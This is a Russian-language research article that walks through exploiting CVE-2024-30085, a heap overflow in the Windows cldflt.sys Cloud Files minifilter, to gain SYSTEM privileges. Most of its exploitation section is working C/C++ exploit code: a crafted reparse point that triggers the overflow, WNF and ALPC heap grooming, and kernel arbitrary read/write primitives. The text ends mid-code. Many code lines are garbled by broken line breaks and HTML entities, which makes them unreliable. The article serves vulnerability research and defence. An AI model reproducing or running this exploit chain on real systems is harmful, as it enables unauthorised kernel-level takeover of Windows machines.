Повышаем привилегии в Windows через CVE-2024-30085

Повышаем привилегии в Windows через CVE-2024-30085, image #1

CVE-2024-30085 — это уязвимость в подсистеме Windows Cloud Files Mini Filter. Код подсистемы располагается в cldflt.sys — это драйвер минифильтра, и он относится к предустановленному клиенту облачного сервиса Microsoft OneDrive.

Уязвимость фигурировала на прошедшем в Ванкувере Pwn2Own 2024, где команда ресёрчеров Team Theori использовала эксплойт для этой уязвимости в цепочке эксплойтов, осуществляющих Guest-to-Host-Escape (побег из виртуальной машины) из-под управления VMware workstation, за что и получила свои заслуженные 13 очков Master of Pwn.

Соревнования по типу Pwn2Own и Matrix Cup помогают подсветить реально эксплуатируемые уязвимости, эксплойты для которых, как правило, не разглашаются (в результате чего образуется состояние known/unknown, когда известно, что эксплойт есть, но неизвестно, как он работает), и обратить на них особое внимание, ведь за подобными соревнованиями следим не только мы, но и злоумышленники.

В этой статье мы рассмотрим корни уязвимости CVE-2024-30085 и техники эксплуатации, применимые во время эксплуатации кучи в ядре Windows 10 22H2 19045.3803.

Минифильтры

cldflt.sys — это драйвер минифильтра Windows Cloud Files Mini Filter, задача которого представлять хранимые в облаке файлы и папки, как если бы они находились в компьютере.

Рисунок 1. Варианты представления файлов
Рисунок 1. Варианты представления файлов

Если вы никогда не сталкивались с минифильтрами, то вот что они из себя представляют.

Минифильтры на ядерном уровне перехватывают I/O-запросы (IRP-пакеты) к файловой системе и обрабатывают их в соответствии с назначением конкретного фильтра. Вот несколько примеров, какие фильтры могут существовать в системе:

Минифильтры, устанавливаемые антивирусным ПО ( сканируют и проверяют файлы).

Минифильтры, устанавливаемые криптографическими средствами ( шифруют/дешифруют файлы).

Минифильтры облачных хранилищ.

Узнать, какие минифильтры есть в системе, можно через команду fltmc.

Рисунок 2. Вывод команды fltmc
Рисунок 2. Вывод команды fltmc

Минифильтров много, и каждый I/O-запрос проходит через все фильтры. За порядок вызова отвечает filter manager.

На рисунке ниже вы можете видеть схематическое изображение пути I/O-запроса. Altitude — это приоритет, который определяет очередность вызова фильтров.

Рисунок 3. Диаграмма пути I/O-запроса к файловой системе. Источник: https://learn.microsoft.com/en-us/windows-hardware/drivers/ifs/filter-manager-concepts
Рисунок 3. Диаграмма пути I/O-запроса к файловой системе. Источник: https://learn.microsoft.com/en-us/windows-hardware/drivers/ifs/filter-manager-concepts

Минифильтры регистрируют свои preoperation- и postoperation-колбэки. И когда приходит I/O-запрос, сначала вызываются preoperation-колбэки в порядке A, B, C, а потом postoperation в порядке C, B, A. Таким образом происходит обработка запроса.

Колбэки регистрируются через массив структур FLT_OPERATION_REGISTRATION Callbacks[]. Вот так это выглядит на пример е минифильтра miniSpy:

CONST FLT_OPERATION_REGISTRATION Callbacks[] = {
{ IRP_MJ_CREATE,
0,
SpyPreOperationCallback,
SpyPostOperationCallback },

Если встретите код минифильтра, колбэки нужно искать в этом массиве.

Рисунок 4. Обработка IRP_MJ_CREATE
Рисунок 4. Обработка IRP_MJ_CREATE

И когда происходит вызов метода NtCreateFile в каком-нибудь приложении, запрос IRP_MJ_CREATE обрабатывается в SpyPreOperationCallback и SpyPostOperationCallback.

Структуры и методы для создания минифильтров можно найти в fltkernel.h. Еще больше примеров драйверов здесь.

Windows Cloud Files Mini Filter

В драйвере этого минифильтра существовала ошибка CWE-122: Heap-based Buffer Overflow (переполнение на куче), возникающая в результате некорректной проверки данных, поступающих из Reparse Point.

Reparse Point — это буфер, который хранит дополнительную информацию о файле. Что это и зачем нужно, проще всего показать на примере.

Некоторые файлы, которые отображаются в системе, могут и не существовать на самом деле или могут располагаться совсем в другом месте. Самый простой пример — символьные ссылки.

Или, например, в Windows 10 появился механизм, который сжимает системные файлы для экономии места, хотя снаружи они выглядят как обычно. Их извлечением занимается минифильтр Windows Overlay Filter (WOF).

В обоих примерах реальное расположение файла или его представление в сжатом виде хранится в Reparse Point.

Вот так выглядит этот буфер для символьной ссылки.

Рисунок 5. Reparse point символьной ссылки
Рисунок 5. Reparse point символьной ссылки

А Windows Cloud Files Mini Filter использует его для представления файлов, хранимых в облаке, в виде заглушки. Самого файла нет, но информация о нем есть в Reparse Point.

Рисунок 6. Варианты представления файла
Рисунок 6. Варианты представления файла

Reparse Point можно создать не только для файлов, но и для папок. Что и будет использоваться для вызова переполнения и эксплуатации.

Root Cause Analysis

Переполнение происходило в результате работы колбэка HsmFltPostCREATE, который обрабатывает Reparse Point созданного файла в облачной папке.

Рисунок 7. Crash
Рисунок 7. Crash

В процессе реверса выяснилось, что структуру Reparse Point для Windows Cloud Files Mini Filter можно описать следующим образом:

typedef struct _ITEM {
WORD Code;
WORD Size;
DWORD Offset;
} ITEM;
typedef struct _REPARSE_CLD_BITMAP {
DWORD Tag;
DWORD Crc32;
DWORD Size;
WORD Flags;
WORD NumBtmpItems;
ITEM Items[0x5];
BYTE ItemBtmpData0;
BYTE ItemBtmpData1;
BYTE ItemBtmpData2;
UINT64 ItemBtmpData3;
BYTE ItemBtmpData4[0x1000];
} REPARSE_CLD_BITMAP, * PREPARSE_CLD_BITMAP;
typedef struct _REPARSE_CLD_BUFFER {
DWORD Tag_pRef;
DWORD Crc32;
DWORD Size;
WORD Reserved;
WORD NumCldItems;
ITEM Items[0xA];
BYTE ItemData0;
DWORD ItemData1;
UINT64 ItemData2;
UINT64 ItemData3;
REPARSE_CLD_BITMAP bitmap0;
REPARSE_CLD_BITMAP bitmap1;
REPARSE_CLD_BITMAP bitmap2;
UINT64 ItemData7;
UINT64 ItemData8;
DWORD ItemData9;
} REPARSE_CLD_BUFFER, *PREPARSE_CLD_BUFFER;
typedef struct _REPARSE_DATA_BUFFER {
DWORD ReparseTag;
WORD ReparseDataLength;
WORD Reserved;
WORD Flags;
WORD UncompressedSize;
REPARSE_CLD_BUFFER ReparseCldBuffer;
} REPARSE_DATA_BUFFER, *PREPARSE_DATA_BUFFER;
ReparseCldBuffer.bitmap{1,2,3}ItemBtmpData4
ItemBtmpData4ReparseCldBuffer.bitmap{1,2,3}
HsmIBitmapNORMALOpen
Рисунок 8. HsmIBitmapNORMALOpen, выделение 0x1000 байт, копирование туда >0x1000 байт
Рисунок 8. HsmIBitmapNORMALOpen, выделение 0x1000 байт, копирование туда >0x1000 байт
bitmap_sizeHsmpBitmapIsReparseBufferSupported
Рисунок 9. Проверка размера битмапа в функции HsmpBitmapIsReparseBufferSupported
Рисунок 9. Проверка размера битмапа в функции HsmpBitmapIsReparseBufferSupported
bitmap_size bitmap->ItemBtmpData2
Повышаем привилегии в Windows через CVE-2024-30085, image #11
Рисунок 10. Пропуск проверок
Рисунок 10. Пропуск проверок

Так как битмапов можно сделать до трех, то и переполнений тоже может быть три. Однако для эксплуатации хватит и одного.

Эксплуатация

Подготовка

CfRegisterSyncRoot
#include <cfapi.h>
BOOL RegisterSyncRoot(LPCWSTR dir) {
CF_SYNC_REGISTRATION reg = { 0 };
reg.StructSize = sizeof(reg);
reg.ProviderName = L"t
est"; reg.ProviderVersion
= L"1.0"; reg.ProviderId = { 0xB196E670, 0x59
C7, 0x4D41, { 0 } }; CF_SYNC_POLICI
ES policies = { 0 }; policies.StructSize
= sizeof(policies); policies.HardLink = CF_HARD
LINK_POLICY_ALLOWED; policies.Hydration.Primary = CF_HYDRA
TION_POLICY_PARTIAL; policies.InSync = CF
_INSYNC_POLICY_NONE; policies.Population.Primary = CF_POPULA
TION_POLICY_PARTIAL; NTSTATUS ntRet = CfRegisterSyncRoot(dir, &reg, &policies, CF_REGISTER_FLAG_DISABLE_ON_DEMAND_
POPULATION_ON_ROOT); if (!
NT_SUCCESS(ntRet)) { printf("[-] CfReg
isterSyncRoot failed\
n&quo
t;); retu
rn false; } return true;}

Через этот метод папка dir подключается к минифильтру. Удобно разместить ее в C:\Users\Public.

CldFlt
Рисунок 11 Список минифильтров в системе
Рисунок 11 Список минифильтров в системе
HsmFltPostCREATE
void trigger(LPCWSTR dir, BYTE* data, DWORD dataLength) {
ULONG returned;
BOOL status;
HANDLE hOverwrite;
hOverwrite = CreateFileW(
dir,
GENERIC_ALL,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
NULL,
OPEN_EXISTING,
FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OVERLAPPED,
NULL
);
if (FAILED(hOverwrite)) {
printf("[-] trigger failed: CreateFileW
\n&qu
ot;); } status = Device
IoControl( h
Overwrite, FSCTL_SET_REPA
RSE_POINT,
data, d
ataLength,
NULL,
0, &
;returned,

NULL ); if (
!status) { printf("[-] trigger failed: Devic
eIoCo
ntrol\n"); } Clos
eHandle(hOv
erwrite); return;}
datadataLength

Теперь приступим к самому интересному: создадим такой Reparse Point, через который повысим привилегии до уровня SYSTEM.

Craft Reparse Point

REPARSE_CLD_BITMAP
typedef struct _WNF_DATA {
UINT32 header;
UINT32 allocated_size;
UINT32 data_size;
UINT32 change_stamp;
} WNF_DATA, * PWNF_DATA;
typedef struct _REPARSE_CLD_BITMAP {
DWORD Tag;
DWORD Crc32;
DWORD Size;
WORD Flags;
WORD NumBtmpItems;
ITEM Items[0x5];
BYTE ItemBtmpData0;
BYTE ItemBtmpData1;
BYTE ItemBtmpData2;
UINT64 ItemBtmpData3;
BYTE ItemBtmpData4[0x1000];
WNF_DATA wnfData;
} REPARSE_CLD_BITMAP, * PREPARSE_CLD_BITMAP;
wnfData
ItemBtmpData4

Критерии выбора объектов такие:

Возможность поместить их в блок размером 0x1000, чтобы уложить их рядом с битмапом.

Возможность удалять такие объекты, чтобы создавать в хипе дыры, на которые встанет битмап.

Существование методов для чтения и записи из буферов, которые хранятся внутри этих объектов.

Наш эксплойт использует WNF и ALPC подсистемы.

У них удобное API для размещения в памяти ядра объектов произвольного размера, но у обоих есть разные проблемы с пунктами 2 и 3. Поэтому они идут в связке, чтобы компенсировать недостатки друг друга.

Разберем по отдельности, что такое WNF и ALPC.

WNF (Windows Notification Facility)

WNF — это механизм уведомлений, который реализует схему publisher/subscriber. Одна программа подписывается на какие-нибудь события из другой. Механизм должен был послужить основой для реализации push-уведомлений, аналогичных iOS/Android.

В контексте эксплуатации WNF важен тем, что позволяет создавать объекты произвольного размера в ядре. И через него можно сделать относительные примитивы на чтение/запись, чем мы и воспользуемся.

Больше подробностей на разных ресурсах

https://habr.com/ru/articles/459626/

https://www.nccgroup.com/us/research-blog/cve-2021-31956-exploiting-the-windows-kernel-ntfs-with-wnf-part-1/

https://pwnedcoffee.com/blog/wnf-chronicles-i-introduction/

Типы есть в этом репозитории, или их можно нагуглить через запрос 0x41C64E6DA3BC0074.

Создание объектов произвольного размера

std::map<UINT32, ULONG64> g_wnfNames;
UINT32 g_wnfNamesIt = 0;
BOOL WnfCreateChunk() {
ULONG64 ns;
WNF_STATE_NAME_LIFETIME NameLifetime = WnfTemporaryStateName;
WNF_DATA_SCOPE DataScope = WnfDataScopeMachine;
SECURITY_DESCRIPTOR* sd = (SECURITY_DESCRIPTOR*)malloc(sizeof(SECURITY_DESCRIPTOR));
memset(sd, 0, sizeof(SECURITY_DESCRIPTOR));
sd->Revision = 0x1;
sd->Sbz1 = 0;
sd->Control = 0x000000800c;
sd->Owner = NULL;
sd->Group = (PSID)0;
sd->Sacl = (PACL)0;
sd->Dacl = (PACL)0;
UINT32 wnfHeaderSize = 0x10;
UINT32 wnfChunkSize = 0x1000;
UINT32 wnfDataSize = wnfChunkSize - wnfHeaderSize;
std::vector<UINT8> buf;
buf.reserve(wnfDataSize);
INT32 r1 = 0, r2 = 0;
r1 = _NtCreateWnfStateName(&ns, WnfTemporaryStateName, WnfDataScopeUser, FALSE, 0, 0x1000, sd);
r2 = _NtUpdateWnfStateData(&ns, buf.data(), wnfDataSize, 0, NULL, 0, 0);
g_wnfNames[g_wnfNamesIt++] = ns;
if (r1 != 0 || r2 != 0) {
printf("[-] wnfCreateChunk failed with codes r1: %lx, r2: %lx\n"
, r1, r2); ret
ur
n
false; } re
turn true;}
WNF_NAME_INSTANCE g_wnfNames
WNF_NAME_INSTANCE 0xa8WNF_STATE_DATA
Рисунок 12. Структура WNF
Рисунок 12. Структура WNF

Относительные примитивы

AllocatedSizeDataSize

Переполнив их, появляется возможность читать и писать за пределами массива Data. Но есть минус: писать можно только за ним и не больше чем 0x1000 байт.

WNF_STATE_DATAWNF_NAME_INSTANCEg_wnfNames

А ограниченные примитивы на чтение и запись выглядят так:

BOOL WnfRelativeRead(INT32 wnfCorrupted, UINT8* buf, ULONG* bufSz) {
WNF_CHANGE_STAMP stamp = 0;
INT32 r = _NtQueryWnfStateData(&(wnfNames[wnfCorrupted]), NULL, NULL, &stamp, buf, bufSz);
return r == 0;
}
BOOL WnfRelativeWrite(INT32 wnfCorrupted, UINT8* buf, ULONG bufSz) {
INT32 r = _NtUpdateWnfStateData(&(wnfNames[wnfCorrupted]), buf, bufSz, 0, NULL, 0, 0);
return r == 0;
}
wnfCorruptedWNF_NAME_INSTANCEWNF_STATE_DATA

Чтобы выяснить, какой объект из массива нужный, надо воспользоваться кодом:

INT32 WnfFindCorruptedName(UINT32 wnfNamesCount) {
WNF_CHANGE_STAMP stamp = 0;
ULONG legitBufSize = 0xff0;
ULONG delta = 0x1;
ULONG overflowenBufSize = legitBufSize + delta;
UINT32 status = 0;
std::vector<UINT8> buf;
buf.reserve(overflowenBufSize);
for (UINT32 i = 0; i < wnfNamesCount; i++) {
if (!wnfNames[i]) {
continue;
}
status = _NtQueryWnfStateData(&(wnfNames[i]), NULL, NULL, &stamp, buf.data(), &overflowenBufSize);
overflowenBufSize = legitBufSize + delta;
if (status == BUFFER_TOO_SMALL) {
return i;
}
}
return -1;
}
NtQueryWnfStateDataWNF_STATE_DATA.DataExpWnfReadStateDataNtQueryWnfStateDataWNF_STATE_DATA.Data
Рисунок 13 Откуда берется ошибка BUFFER_TOO_SMALL
Рисунок 13 Откуда берется ошибка BUFFER_TOO_SMALL
WNF_NAME_INSTANCEWNF_STATE_DATA.Data
WNF_STATE_DATAWNF_STATE_DATA
WNF_STATE_DATA.DataSize

Удаление объектов

Удаляются объекты через функцию _NtDeleteWnfStateData:

BOOL WnfDeleteChunk(UINT32 wnfNameIndex) {
ULONG32 r = _NtDeleteWnfStateData(&(wnfNames[wnfNameIndex]), NULL);
if (r != 0) {
printf("[-] wnfDeleteChunk r: %llx, wnf_name_index: %d\n", r, wnfN
ameIndex); ret
ur
n false; } wnfNames[wnfNameInd
ex] = 0x0; re
turn true;}

Таким образом, через WNF можно:

WNF_STATE_DATA
WNF_STATE_DATA.Data

Удобно удалять объекты.

Это все понадобится, чтобы добраться до объектов ALPC и сделать полноценные примитивы на чтение и запись.

ALPC (Asynchronous Local Procedure Call)

ALPC — это механизм межпроцессного взаимодействия, пришедший на смену LPC. Он недокументированный и не предназначен для использования в разработке. Однако он разобран энтузиастами и обладает интересными возможностями, которые помогают эксплуатировать ядерные уязвимости.

Большая часть кода по работе с ALPC взята нами из работы Нассима Асрира CVE-2023-36424. Все необходимые типы лежат там. Там также есть код, через который можно слить адреса ядерной памяти.

Подробный разбор про сам ALPC есть, например, здесь:

https://csandker.io/2022/05/24/Offensive-Windows-IPC-3-ALPC.html

В этой статье коснемся только основных особенностей. Снова про создание объектов произвольного размера и примитивы.

Создание объектов произвольного размера

Главные объекты ALPC — это порты, по поведению похожие на сокеты. В ядерном пространстве располагается порт соединения, и он связывает клиентский порт с серверным для их коммуникации.

Рисунок 14. Порты ALPC
Рисунок 14. Порты ALPC

У серверного порта внутри есть таблица для входящих и исходящих сообщений.

Рисунок 15. ALPCHANDLE_ENTRY
Рисунок 15. ALPCHANDLE_ENTRY
ALPC_HANDLE_ENTRY
NtAlpcSendWaitReceivePort

И у ALPC есть огромный плюс — хэндл может быть из userspace, что очень удобно.

_KALPC_RESERVE_ALPC_HANDLE_ENTRY

Серверный порт создается так:

BOOL CreateALPCPort(HANDLE* phPorts, UINT portIndex) {
ALPC_PORT_ATTRIBUTES serverPortAttr;
OBJECT_ATTRIBUTES oaPort;
HANDLE hPort;
NTSTATUS ntRet;
UNICODE_STRING usPortName;
WCHAR wszPortName[64];
swprintf_s(wszPortName, sizeof(wszPortName) / sizeof(WCHAR), L"\\RPC Control\\%s%d", g_wszPortPrefix, p
ortIndex); RtlInitUnicodeString(&usPortName, wsz
PortName); InitializeObjectAttributes(&oaPort, &usPortName,
0, 0, 0); RtlSecureZeroMemory(&serverPortAttr, sizeof(serverP
ortAttr)); serverPortAttr.MaxMessageLength = MA
X_MSG_LEN; ntRet = NtAlpcCreatePort(&phPorts[portIndex], &oaPort, &server
PortAttr); if (!NT_SUCCE
SS(ntRet)) ret
urn FALSE; re
turn TRUE;}
NtAlpcCreatePort
wszPortName
_ALPC_HANDLE_ENTRY
BOOL AllocateALPCReserveHandle(HANDLE* phPorts, UINT portIndex, UINT reservesCount) {
HANDLE hPort;
HANDLE hResource;
NTSTATUS ntRet;
hPort = phPorts[portIndex];
for (UINT j = 0; j < reservesCount; j++) {
ntRet = NtAlpcCreateResourceReserve(hPort, 0, 0x28, &hResource);
if (!NT_SUCCESS(ntRet)) {
printf("[-] AllocateALPCReserveHandle failed with %lx code\n"
;, ntRet); ret
urn
FALSE; } if (g_hResource == NULL) { // save only the
very first g_hResource =
hRe
so
urce; } } re
t
urn TRUE;}BOOL AlpcCreateChunk(UINT32 por
t_index) {
BOOL bRet; bRet = CreateALPCPort(gports, po
rt_index); if
(!bRet) { printf("[-] CreateALPCPo
rts failed\n&qu
ot
;); return false; } CONST ULONG po
olAlHaSize = 0x1000; CONST ULONG reservesCount = (poolAlHaSize / 2) / si
zeof(ULONG_PTR) + 1; bRet = AllocateALPCReserveHandle(gports, port_in
dex, reserves
Count); if (!bRet) { printf("[-] AllocateALPC
ReserveHandle f
ai
led\n");
return false; } return true;}
 / 2 /sizeof(ULONG_PTR)

Полноценный примитив на запись

_ALPC_HANDLE_ENTRY

Тогда примитив на запись будет выглядеть так:

KALPC_RESERVE* gfakeKalpcReserve;
KALPC_MESSAGE* gfakeKalpcMessage;
BYTE* gfakeKalpcReserveObject;
BYTE* gfakeKalpcMessageObject;
BYTE* AlpcGetFakeMessage() {
return (BYTE*)gfakeKalpcReserve;
}
void AlpcMakeFakeMessage() {
gfakeKalpcReserveObject = (BYTE*)calloc(1, sizeof(KALPC_RESERVE) + 0x20);
gfakeKalpcMessageObject = (BYTE*)calloc(1, sizeof(KALPC_MESSAGE) + 0x20);
gfakeKalpcReserve = (KALPC_RESERVE*)(gfakeKalpcReserveObject + 0x20);
gfakeKalpcMessage = (KALPC_MESSAGE*)(gfakeKalpcMessageObject + 0x20);
gfakeKalpcReserveObject[1] = 0x7;
gfakeKalpcReserveObject[8] = 0x1;
gfakeKalpcMessageObject[8] = 0x1;
gfakeKalpcReserve->Size = 0x28;
gfakeKalpcReserve->Message = gfakeKalpcMessage;
gfakeKalpcMessage->Reserve = gfakeKalpcReserve;
galpcMessage = (ALPC_MESSAGE*)calloc(1, sizeof(ALPC_MESSAGE));
}
BOOL AlpcArbitraryWrite(UINT32 portsCount, BYTE* addr, BYTE* buf, UINT32 bufSz) {
NTSTATUS ntRet;
memset(gfakeKalpcReserveObject, 0, sizeof(KALPC_RESERVE) + 0x20);
memset(gfakeKalpcMessageObject, 0, sizeof(KALPC_MESSAGE) + 0x20);
gfakeKalpcReserveObject[1] = 0x7;
gfakeKalpcReserveObject[8] = 0x1;
gfakeKalpcMessageObject[8] = 0x1;
gfakeKalpcReserve->Size = 0x28;
gfakeKalpcReserve->Message = gfakeKalpcMessage;
gfakeKalpcMessage->Reserve = gfakeKalpcReserve;
gfakeKalpcMessage->ExtensionBuffer = addr;
gfakeKalpcMessage->ExtensionBufferSize = bufSz;
ULONG DataLength = bufSz;
memset(galpcMessage, 0, sizeof(ALPC_MESSAGE));
galpcMessage->PortHeader.u1.s1.DataLength = DataLength;
galpcMessage->PortHeader.u1.s1.TotalLength = sizeof(PORT_MESSAGE) + DataLength;
galpcMessage->PortHeader.MessageId = (ULONG)g_hResource;
ULONG_PTR* pAlpcMsgData = (ULONG_PTR*)((BYTE*)galpcMessage + sizeof(PORT_MESSAGE));
memcpy(pAlpcMsgData, buf, bufSz);
for (int i = 0; i < portsCount; i++) {
ntRet = NtAlpcSendWaitReceivePort(gports[i], ALPC_MSGFLG_NONE, (PPORT_MESSAGE)galpcMessage, NULL, NULL, NULL, NULL, NULL);

}
return true;
}
NtAlpcSendWaitReceivePort

Полноценный примитив на чтение

NtAlpcSendWaitReceivePort
BOOL AlpcArbitraryRead(UINT32 portsCount, ULONG_PTR pipeAttributeAddr, ULONG_PTR addr, BYTE* buf, UINT32 bufSz) {
BOOL bRet;
CHAR pipeName[] = "
xxx"; UINT32 pipeValueOffs
et = 0x20; ULONG_PTR pipeValueAddr = pipeAttributeAddr + pipeVa
lueOffset; ULONG_PTR* payload = (ULONG_PTR*)cal
loc(2, 8); payload[
0] = addr; payload[1] = 0x00787878;
//xxx\x00 if (!AlpcArbitraryWrite(portsCount, (BYTE*)pipeValueAddr, (BYTE*)payload
, 0x10)) { printf("[-] AlpcArbitraryRead failed: AlpcArbi
traryWrite\n"
;)
; //return false; } bRet = PipeReadAttr(pi
peName, buf,
bufSz); if (!bRet) { printf("[-] AlpcArbitraryRead
failed: PipeRea
dA
ttr\n");
return false; } return true;}

Схема такая:

Создается пайп с атрибутом.

Адрес значения атрибута подменяется на свой адрес.

Читая атрибут, в ответ получаем содержание адреса.

А выяснить, по какому адресу лежит пайп, можно через утечку.

ALPC очень удобный механизм, но у него нет такого же удобного способа удалять объекты, как у WNF, а без этого не подготовить память так, чтобы проэксплуатировать ее. Поэтому используется связка WNF + ALPC. WNF — это посредник, чтобы добраться до ALPC ради его интересных качеств.

Рисунок 16. Ключевые структуры (красным выделены переполняемые поля)
Рисунок 16. Ключевые структуры (красным выделены переполняемые поля)

LPE

Чтобы разместить битмап, WNF и ALPC рядом и не позволить рандомизации помешать этому, воспользуемся алгоритмом:

WNF_STATE_DATAALPC_HANDLE_ENTRY
WNF_STATE_DATA

Размещаем битмап, который должен будет встать на одно из освободившихся мест.

Таким образом, все объекты с большой долей вероятности будут расположены рядом.

Рисунок 17. Как должны располагаться объекты в памяти
Рисунок 17. Как должны располагаться объекты в памяти
_WNF_STATE_DATA_ALPC_HANDLE_ENTRY

В коде это выглядит так:

UINT32 portsCount = 5000;
UINT32 I;
for (i = 0; i < portsCount; i++) {
if (!WnfCreateChunk())
break;
if (!WnfCreateChunk())
break;
if (!AlpcCreateChunk(i))
break;
}
printf("[*] Created %d chunks\n&
quot;, i);if (i != por
tsCount) { printf("[-] Creating chunks
are failed\n&q
u
ot;); return
-1;}// create holesfor (UINT32 i = 4000; i < p
ortsCount; i += 2) { if (!
WnfDeleteChunk(i))
{
return -1; }}

Правильно заполненный Reparse Point выглядит так:

void createReparsePoint(PREPARSE_DATA_BUFFER pReparseDataBuffer, size_t ReparseDataBufferLength) {
pReparseDataBuffer->ReparseTag = 0x9000301a;
pReparseDataBuffer->ReparseDataLength = ReparseDataBufferLength - sizeof(DWORD) - 2 * sizeof(WORD);
pReparseDataBuffer->Reserved = 0x00;
pReparseDataBuffer->Flags = 0x1;
pReparseDataBuffer->UncompressedSize = 0xAA; // no matter
PREPARSE_CLD_BUFFER pReparseCldBuffer = &pReparseDataBuffer->ReparseCldBuffer;
pReparseCldBuffer->Tag_pRef = 0x70526546;
pReparseCldBuffer->Size = pReparseDataBuffer->ReparseDataLength - 2 * sizeof(WORD);
pReparseCldBuffer->Reserved = 0x2;
pReparseCldBuffer->NumCldItems = 0xa;
pReparseCldBuffer->Items[0].Code = 0x7;
pReparseCldBuffer->Items[0].Size = 0x1;
pReparseCldBuffer->Items[0].Offset = (BYTE*)&pReparseCldBuffer->ItemData0 - (BYTE*)&pReparseCldBuffer->Tag_pRef;
pReparseCldBuffer->Items[1].Code = 0xa;
pReparseCldBuffer->Items[1].Size = 0x4;
pReparseCldBuffer->Items[1].Offset = pReparseCldBuffer->Items[0].Offset + pReparseCldBuffer->Items[0].Size;
pReparseCldBuffer->Items[2].Code = 0x6;
pReparseCldBuffer->Items[2].Size = 0x8;
pReparseCldBuffer->Items[2].Offset = pReparseCldBuffer->Items[1].Offset + pReparseCldBuffer->Items[1].Size;
pReparseCldBuffer->Items[3].Code = 0x11;
pReparseCldBuffer->Items[3].Size = 0x8;
pReparseCldBuffer->Items[3].Offset = pReparseCldBuffer->Items[2].Offset + pReparseCldBuffer->Items[2].Size;
pReparseCldBuffer->Items[4].Code = 0x11;
pReparseCldBuffer->Items[4].Size = sizeof(REPARSE_CLD_BITMAP);
pReparseCldBuffer->Items[4].Offset = pReparseCldBuffer->Items[3].Offset + pReparseCldBuffer->Items[3].Size;
pReparseCldBuffer->Items[5].Code = 0x11-1;
pReparseCldBuffer->Items[5].Size = sizeof(REPARSE_CLD_BITMAP);
pReparseCldBuffer->Items[5].Offset = pReparseCldBuffer->Items[4].Offset + pReparseCldBuffer->Items[4].Size;
pReparseCldBuffer->Items[6].Code = 0x11-1;
pReparseCldBuffer->Items[6].Size = sizeof(REPARSE_CLD_BITMAP);
pReparseCldBuffer->Items[6].Offset = pReparseCldBuffer->Items[5].Offset + pReparseCldBuffer->Items[5].Size;
pReparseCldBuffer->Items[7].Code = 0x6;
pReparseCldBuffer->Items[7].Size = 0x8;
pReparseCldBuffer->Items[7].Offset = pReparseCldBuffer->Items[6].Offset + pReparseCldBuffer->Items[6].Size;
pReparseCldBuffer->Items[8].Code = 0x6;
pReparseCldBuffer->Items[8].Size = 0x8;
pReparseCldBuffer->Items[8].Offset = pReparseCldBuffer->Items[7].Offset + pReparseCldBuffer->Items[7].Size;
pReparseCldBuffer->Items[9].Code = 0xa;
pReparseCldBuffer->Items[9].Size = 0x4;
pReparseCldBuffer->Items[9].Offset = pReparseCldBuffer->Items[8].Offset + pReparseCldBuffer->Items[8].Size;
pReparseCldBuffer->ItemData0 = 0x0; // <=1
pReparseCldBuffer->ItemData1 = 0xffffffe5;
pReparseCldBuffer->ItemData2 = 0xeeeeeeeeeeeeeee1; // no matter
pReparseCldBuffer->ItemData3 = 0xbbbbbbbbbbbbbbbb; // no matter
pReparseCldBuffer->ItemData7 = 0xffffffffffffffff; // no matter
pReparseCldBuffer->ItemData8 = 0xdddddddddddddddd; // no matter
pReparseCldBuffer->ItemData9 = 0x33333333; // no matter
}
void createBitmap(PREPARSE_CLD_BITMAP bitmap) {
bitmap->Tag = 0x70527442;
bitmap->Size = sizeof(REPARSE_CLD_BITMAP);
bitmap->Flags = 0x2;
bitmap->NumBtmpItems = 0x5;
bitmap->Items[0].Code = 0x7;
bitmap->Items[0].Size = 0x1;
bitmap->Items[0].Offset = (BYTE*)&bitmap->ItemBtmpData0 - (BYTE*)&bitmap->Tag;
bitmap->Items[1].Code = 0x7;
bitmap->Items[1].Size = 0x1;
bitmap->Items[1].Offset = bitmap->Items[0].Offset + bitmap->Items[0].Size;
bitmap->Items[2].Code = 0x7;
bitmap->Items[2].Size = 0x1;
bitmap->Items[2].Offset = bitmap->Items[1].Offset + bitmap->Items[1].Size;
bitmap->Items[3].Code = 0x6;
bitmap->Items[3].Size = 0x8;
bitmap->Items[3].Offset = bitmap->Items[2].Offset + bitmap->Items[2].Size;
bitmap->Items[4].Code = 0x11;
bitmap->Items[4].Offset = bitmap->Items[3].Offset + bitmap->Items[3].Size;
bitmap->Items[4].Size = sizeof(REPARSE_CLD_BITMAP) - bitmap->Items[4].Offset;
bitmap->ItemBtmpData0 = 0x1; // <= 1
bitmap->ItemBtmpData1 = 0x13; // <= 0x13
bitmap->ItemBtmpData2 = 0x0; // = 0
bitmap->ItemBtmpData3 = 0xdddddddddddddddd; // no matter
bitmap->wnfData.header = 0x00100904;
bitmap->wnfData.allocated_size = 0x2000;
bitmap->wnfData.data_size = 0xff0 + 0x10; // 0xff0 - legit Wnf data size 0x10 - overflow
bitmap->wnfData.change_stamp = 0x1;
bitmap->Crc32 = RtlComputeCrc32(0, (BYTE*)(&bitmap->Size), sizeof(REPARSE_CLD_BITMAP) - 0x8);
}
DWORD ReparseDataBufferLength = 0x4000;
PREPARSE_DATA_BUFFER pReparseDataBuffer = (PREPARSE_DATA_BUFFER)calloc(ReparseDataBufferLength, 1);
memset(pReparseDataBuffer, 0x0, ReparseDataBufferLength);
createReparsePoint(pReparseDataBuffer, ReparseDataBufferLength);
PREPARSE_CLD_BUFFER pReparseCldBuffer = &pReparseDataBuffer->ReparseCldBuffer;
PREPARSE_CLD_BITMAP bitmap0 = (PREPARSE_CLD_BITMAP)&pReparseCldBuffer->bitmap0;
createBitmap(bitmap0);
pReparseCldBuffer->Crc32 = RtlComputeCrc32(0, (BYTE*)(&pReparseCldBuffer->Size), ReparseDataBufferLength - 0x14);

Триггерим переполнение:

trigger(dir, (BYTE*)pReparseDataBuffer, ReparseDataBufferLength);
RemoveDirectoryW(dir);
std::this_thread::sleep_for(std::chrono::seconds(60));
dir
_WNF_NAME_INSTANCE
INT32 wnfCorruptedNameIndex = WnfFindCorruptedName(portsCount);
if (wnfCorruptedNameIndex == -1) {
printf("[-] Corrupted Wnf are not found
\n");
r
eturn -1;}printf("[+] Found corrupted Wnf at index %d\n", wnfCorruptedNameIndex);
_ALPC_HANDLE_ENTRY
BYTE* fakeReserve = AlpcGetFakeMessage();
UINT32 wnfOriginalDataSize = 0xff0;
std::vector<UINT8> corruptAlpc;
UINT32 corruptAlpcSize = wnfOriginalDataSize + 0x8; // overflow one handle ptr
corruptAlpc.reserve(corruptAlpcSize);
memset(corruptAlpc.data(), 'W', wnfOriginal
DataSize);*((BYTE**)(corruptAlpc.data() + wnfOriginalDataSize)) = fa
keReserve;// corrupt A
